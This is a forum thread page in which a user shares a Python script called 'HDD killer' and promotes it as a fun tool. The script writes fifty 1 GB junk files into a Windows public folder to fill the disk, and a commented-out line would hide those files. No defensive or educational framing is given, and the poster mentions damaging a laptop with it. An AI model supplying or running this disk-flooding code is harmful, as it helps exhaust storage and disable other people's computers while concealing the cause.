Menu
Forums
All threads
Latest threads
New posts
Trending threads
New posts
Search forums
Trending
What's new
New posts
New profile posts
Latest activity
Members
Current visitors
New profile posts
Search profile posts
Upgrades
Log in
Register
What's new
Search
Search
Search titles only
By:
All threads
Latest threads
New posts
Trending threads
New posts
Search forums
Menu
Log in
Register
Navigation
Install the app
Install
More options
Contact us
Close Menu
Forums
Software Development
Programming
Python: HDD killer
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Reply to thread
Message
<blockquote data-quote="griimnak" data-source="post: 329427" data-attributes="member: 35695"><p>Hey all, just wanted to share this cool script that I found on *bleep*. </p><p>Anyways, it's a simple python script that you can use to flood a hdd with useless bullshit, quite literally.</p><p></p><p>[PHP]import os,random,sys</p><p>def HDkiller():</p><p>print "ur don m8"</p><p>identificatore="ID"+str(random.randrange(1,10011))</p><p>f = open("C:\\Users\\Public\\"+identificatore+".kek", "wb") #win or linux path</p><p>f.write("a" * 1073741824)#put size here</p><p>f.close()</p><p>#cmd=os.popen("attrib +h "+fn) if you want hide the files uncomment here (only windows now)</p><p># cmd.close()</p><p>for x in range(0, 50): #50 times = 50 GBs :D</p><p>print "\n"</p><p>print x</p><p>HDkiller() [/PHP]</p><p>I left all the comments from the original author of the script, so you can mess around with it. I kinda fucked up one of my poop laptops with this, so have fun lol.</p><p><em>all credits to samick</em></p><p><em><strong>check out his private site:<a href="http://s4mick.com/" target="_blank"> here</a></strong></em></p></blockquote><p></p>
[QUOTE="griimnak, post: 329427, member: 35695"] Hey all, just wanted to share this cool script that I found on *bleep*. Anyways, it's a simple python script that you can use to flood a hdd with useless bullshit, quite literally. [PHP]import os,random,sys def HDkiller(): print "ur don m8" identificatore="ID"+str(random.randrange(1,10011)) f = open("C:\\Users\\Public\\"+identificatore+".kek", "wb") #win or linux path f.write("a" * 1073741824)#put size here f.close() #cmd=os.popen("attrib +h "+fn) if you want hide the files uncomment here (only windows now) # cmd.close() for x in range(0, 50): #50 times = 50 GBs :D print "\n" print x HDkiller() [/PHP] I left all the comments from the original author of the script, so you can mess around with it. I kinda fucked up one of my poop laptops with this, so have fun lol. [I]all credits to samick [B]check out his private site:[URL='http://s4mick.com/'] here[/URL][/B][/I] [/QUOTE]
Insert quotes…
Verification
Post reply
Forums
Software Development
Programming
Python: HDD killer
Top